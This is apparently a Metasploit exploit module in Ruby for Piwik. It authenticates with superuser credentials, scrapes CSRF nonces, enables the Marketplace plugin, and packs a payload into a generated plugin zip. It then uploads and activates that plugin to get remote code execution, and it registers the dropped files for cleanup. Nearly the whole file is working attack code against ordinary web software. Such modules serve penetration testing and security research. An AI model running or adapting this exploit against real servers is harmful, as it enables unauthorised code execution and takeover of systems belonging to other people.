##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Piwik Superuser Plugin Upload',
        'Description' => %q{
          This module will generate a plugin, pack the payload into it
          and upload it to a server running Piwik. Superuser Credentials are
          required to run this module. This module does not work against Piwik 1
          as there is no option to upload custom plugins. Piwik disabled
          custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you
          have to enable custom plugin uploads via the config file.
          Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'FireFart' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2025-34104' ],
          [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ],
          [ 'URL', 'https://piwik.org/faq/plugins/faq_21/' ],
          [ 'URL', 'https://piwik.org/changelog/piwik-3-0-3/' ]
        ],
        'DisclosureDate' => '2017-02-05',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Piwik', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
        OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
      ]
    )
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def normalized_index
    normalize_uri(target_uri, 'index.php')
  end

  def get_piwik_version(login_cookies)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'cookie' => login_cookies,
      'vars_get' => {
        'module' => 'Feedback',
        'action' => 'index',
        'idSite' => '1',
        'period' => 'day',
        'date' => 'yesterday'
      }
    })

    piwik_version_regexes = [
      /<title>About Piwik ([\w\.]+) -/,
      /content-title="About&#x20;Piwik&#x20;([\w\.]+)"/,
      /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m
    ]

    if res && res.code == 200
      for r in piwik_version_regexes
        match = res.body.match(r)
        if match
          return match[1]
        end
      end
    end

    # check for Piwik version 1
    # the logo.svg is only available in version 1
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
    })
    if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
      return "1.x"
    end

    nil
  end

  def is_superuser?(login_cookies)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'cookie' => login_cookies,
      'vars_get' => {
        'module' => 'Installation',
        'action' => 'systemCheckPage'
      }
    })

    if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
      return false
    elsif res && res.body =~ /id="systemCheckRequired"/
      return true
    else
      return false
    end
  end

  def generate_plugin(plugin_name)
    plugin_json = %Q|{
      "name": "#{plugin_name}",
      "description": "#{plugin_name}",
      "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
      "theme": false
    }|

    plugin_script = %Q|<?php
      namespace Piwik\\Plugins\\#{plugin_name};
      class #{plugin_name} extends \\Piwik\\Plugin {
        public function install()
        {
          #{payload.encoded}
        }
      }
    |

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
    zip.add_file("#{plugin_name}/plugin.json", plugin_json)
    zip.pack
  end

  def exploit
    print_status('Trying to detect if target is running a supported version of piwik')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index
    })
    if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
      print_good('Detected Piwik installation')
    else
      fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
    end

    print_status("Authenticating with Piwik using #{username}:#{password}...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'vars_get' => {
        'module' => 'Login',
        'action' => 'index'
      }
    })

    login_nonce = nil
    if res && res.code == 200
      match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
      if match
        login_nonce = match[1]
      end
    end
    fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?

    cookies = res.get_cookies

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_index,
      'cookie' => cookies,
      'vars_get' => {
        'module' => 'Login',
        'action' => 'index'
      },
      'vars_post' => {
        'form_login' => "#{username}",
        'form_password' => "#{password}",
        'form_nonce' => "#{login_nonce}"
      }
    })

    if res && res.redirect? && res.redirection
      # update cookies
      cookies = res.get_cookies
    else
      # failed login responds with code 200 and renders the login form
      fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
    end
    print_good('Authenticated with Piwik')

    print_status("Checking if user #{username} has superuser access")
    superuser = is_superuser?(cookies)
    if superuser
      print_good("User #{username} has superuser access")
    else
      fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
    end

    print_status('Trying to get Piwik version')
    piwik_version = get_piwik_version(cookies)
    if piwik_version.nil?
      print_warning('Unable to detect Piwik version. Trying to continue.')
    else
      print_good("Detected Piwik version #{piwik_version}")
    end

    if piwik_version == '1.x'
      fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
    end

    # Only versions after 3 have a seperate Marketplace plugin
    if piwik_version && Rex::Version.new(piwik_version) >= Rex::Version.new('3')
      marketplace_available = true
    else
      marketplace_available = false
    end

    if marketplace_available
      print_status("Checking if Marketplace plugin is active")
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalized_index,
        'cookie' => cookies,
        'vars_get' => {
          'module' => 'Marketplace',
          'action' => 'index'
        }
      })
      fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
      if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
        print_status('Marketplace plugin is not enabled, trying to enable it')

        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalized_index,
          'cookie' => cookies,
          'vars_get' => {
            'module' => 'CorePluginsAdmin',
            'action' => 'plugins'
          }
        })
        mp_activate_nonce = nil
        if res && res.code == 200
          match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)
          if match
            mp_activate_nonce = match[1]
          end
        end
        fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalized_index,
          'cookie' => cookies,
          'vars_get' => {
            'module' => 'CorePluginsAdmin',
            'action' => 'activate',
            'pluginName' => 'Marketplace',
            'nonce' => "#{mp_activate_nonce}"
          }
        })
        if res && res.redirect?
          print_good('Marketplace plugin enabled')
        else
          fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
        end
      else
        print_good('Seems like the Marketplace plugin is already enabled')
      end
    end

    print_status('Generating plugin')
    plugin_name = Rex::Text.rand_text_alpha(10)
    zip = generate_plugin(plugin_name)
    print_good("Plugin #{plugin_name} generated")

    print_status('Uploading plugin')

    # newer Piwik versions have a seperate Marketplace plugin
    if marketplace_available
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalized_index,
        'cookie' => cookies,
        'vars_get' => {
          'module' => 'Marketplace',
          'action' => 'overview'
        }
      })
    else
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalized_index,
        'cookie' => cookies,
        'vars_get' => {
          'module' => 'CorePluginsAdmin',
          'action' => 'marketplace'
        }
      })
    end

    upload_nonce = nil
    if res && res.code == 200
      if res.body =~ /Plugin upload is disabled in config file/
        fail_with(Failure::NotVulnerable, 'Custom plugin uploads are disabled')
      end

      match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
      if match
        upload_nonce = match[1]
      end
    end
    fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?

    # plugin files to delete after getting our session
    register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
    register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")

    data = Rex::MIME::Message.new
    data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalized_index,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => cookies,
      'vars_get' => {
        'module' => 'CorePluginsAdmin',
        'action' => 'uploadPlugin',
        'nonce' => "#{upload_nonce}"
      }
    )
    activate_nonce = nil
    if res && res.code == 200
      match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&amp;action=activate.+nonce=([^&]+)/)
      if match
        activate_nonce = match[1]
      end
    end
    fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?

    print_status('Activating plugin and triggering payload')
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'cookie' => cookies,
      'vars_get' => {
        'module' => 'CorePluginsAdmin',
        'action' => 'activate',
        'nonce' => "#{activate_nonce}",
        'pluginName' => "#{plugin_name}"
      }
    }, 5)
  end
end
